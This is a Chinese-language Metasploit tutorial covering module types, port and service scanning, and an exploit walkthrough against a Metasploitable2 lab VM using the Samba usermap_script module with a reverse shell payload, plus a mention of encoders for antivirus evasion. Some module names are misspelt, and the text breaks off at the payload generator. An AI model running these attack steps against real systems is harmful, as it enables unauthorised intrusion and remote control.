1. Metasploit基础
1.1 专业术语
MSF框架由多个模块组成,各个模块具体功能如下。
- Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立的访问,他们只负责执行扫描,嗅探,指纹识别等相关的功能以辅助渗透测试
- Exploit(漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统,应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出,web应用程序攻击,以及利用配置错误等其中包含攻击者或测试人员针对对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码
- Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标之后,用于在目标系统上执行任意命令或者执行特定的代码,在Metasploit框架中可以自由的选择,传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户和账号等
- Post(后期渗透模块)
该模块主要用于在取得目标系统的远程控制权之后,进行一系列的后渗透攻击的动作,如获取敏感信息,实施跳板攻击等。
- Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件,防火墙,IDS以及类似的安全软件检测出来
1.2 渗透攻击步骤
使用MSF渗透测试时,可以综合使用以上的模块,对目标系统进行侦测并发动,大致的步骤如下图所示。
- 扫描目标机系统,寻找可用漏洞
- 选择并配置一个漏洞利用模块
- 选择并配置一个攻击载荷模块
- 选择一个编码技术,用来绕过杀毒软件的查杀
- 渗透攻击
“理论联系实际”是最好的学习方法,我们已经大概了MSF渗透攻击的基础知识,进行简单的渗透攻击
1.3 主机扫描
扫描和收集信息是渗透测试中的第一步,其主要目标是尽可能多地发现有关目标机器的信息,获取的信息越多,渗透的概率越大,该步骤主要的关注点是机器的IP地址,可用服务,开放端口等
1.4 使用辅助模块进行端口扫描
辅助模块是Metasploit的内置模块,首先利用search命令搜索有哪些可用端口模块
msfconsole //调用Metasploit工具
search portscan //查看有哪些可用的端口模块
搜索端口模块
从图可以看到可用的扫描器列表,其中包含了各种扫描类型,下面以TCP扫描模块举例
- 输入use命令即可使用该漏洞的利用模块,使用show options命令查看需要设置的参数
use suxiliary/scanner/portscan/tcp //使用模块
show options //查看设置参数
使用辅助模块
在Required例中,被标记的yes的参数必须包含实际的值,其中RHOSTS设置待扫描的IP地址,PORTS设置扫描端口的范围,THREADS设置扫描线程,线程数量越高,扫描速度越快。我们使用set inkling设置相应的参数也可以使用unset命令取消某个参数值的设置
set RHOSTS 192.168.1.28
set PORTS 1-500
set THREADS 20
show options
run
设置参数可以看到目标机器开了22,53端口
知识点:
其实还有两条可选命令-setg命令和unsetg命令。二者用于在msfconsole中设置或取消设置全局性参数,从而避免重复输入相同的值
1.5 使用辅助模块进行服务扫描
在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如VNC,FTP,SMB等只需执行特定类型的扫描就可以发现服务
通过search命令搜索scanner可以发现大量的扫描模块。使用的步骤和使用端口扫描模块时基本相同
模块 | 功能 |
---|---|
auxiliary/scanner/portscan | 端口扫描 |
auxiliary/scanner/smb/smb_version | SMB 系统版本扫描 |
auxiliary/scanner/smb/smb_enumusers | SMB 枚举 |
auxiliary/scanner/smb/smb_login | SMB 弱口令扫描 |
auxiliary/admin/smb/psexec_command | SMB 登录且执行命令 |
auxiliary/scanner/ssh/ssh_login | SSH 登录测试 |
scanner/mssql/mssql_ping | MSSQL 主机信息扫描 |
adming/mssql/mssql_enum | MSSQL 枚举 |
admin/mssql/mssql_exec | MSSQL 执行命令 |
admin/mssql/mssql_sql | MSSQL 查询 |
scanner/mssql/mssql_login | MSSQL 弱口令扫描 |
auxiliary/admin/mysql/mysql_enum | MySQL 枚举 |
auxiliary/admin/mysql/mysql_sql | MySQL 语句执行 |
auxiliary/scanner/mysql/mysql_login | MySQL 弱口令扫描 |
auxiliary/scanner/smtp/smtp_version | SMTP 版本扫描 |
auxiliary/scanner/smtp/smtp_enum | SMTP 枚举 |
auxiliary/scanner/snmp/community | SNMP 扫描设备 |
auxiliary/scanner/telnet/telnet_login | TELNET 登录 |
scanner/vnc/vnc_none_auth | VNC 空口令扫描 |
常用的 扫描模块及其功能
1.6 使用Nmap扫描
在Metasploit中同样可以使用Nmap扫描,它不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统,开放端口,服务等
实际使用时,在msf命令提示符下输入nmap。就可以显示Nmap提供的扫描选项列表
nmap
现在我们要获取目标主机的操作系统,输入下列命令,其中Pn和-p0(数字0)参数的意思是不使用ping的方式。而且假定所有主机系统都是活动的,可以穿透防火墙也可以避免被防火墙发现
系统扫描,可以看到操作系统是macos
2. 漏洞扫描
假设目标机是Metasploitable2,对linux机器进行渗透测试攻击
下载之后直接点击**.vmx**
文件打开虚拟机,默认账号密码都是msfadmin
查看目标机ip,浏览器访问
- 首先对目标进行扫描。收集可用的服务信息。使用Nmap扫描并查看系统开放的端口和相应的程序
添加版本扫描
收集到目标机相关信息之后,为其选择正确的Exploit和合适的Payload。从扫描结果中发现主机运行着Samba 3.x服务
Samba是在Linux和UNIX系统上实现SMB(Server Messages Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议,他在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务
输入msf>search samba命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块
search samba
搜索samba的漏洞利用模块
Samba服务将返回漏洞利用模块的列表,按照各个漏洞被利用成功的相对难易度进行排序
这里选择exploit/multi/samba/usermap_script被标记为”Excellent”,即最杰出而且时间是最新的
- 有关漏洞的详细信息可以通过如图所示的命令查看
info exploit/multi/samba/usermap_script
查看模块的详细信息
输入以下命令即可使用该模块
Msf>use exploit/multi/samba/username_script
msf>会变成msf exploit(usermap_script)>。
使用如图的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是Linux机器,因此一定要选择Linux的攻击载荷
show payloads
列举攻击载荷
- 这里使用如图所示的命令选择基础的cmd/unix/reverse反向攻击载荷模块
设置攻击载荷模块
- 设置被攻击主机IP地址,命令如下
msf exploit(username_scritpt)>set RHOST 192.168.220.20
设置IP地址
- 设置漏洞利用的端口号,命令如下
set RPORT 445
- 设置发动攻击主机的IP地址,命令如下
set LHOST 192.168.220.4
显示设置参数
设置完参数之后输入攻击命令exploit或run,如下所示,发动攻击:
Metasploit 功能程序
- MSF攻击载荷生成器
MSF攻击载荷生成器允许生成shellcode,可执行代码等。。 。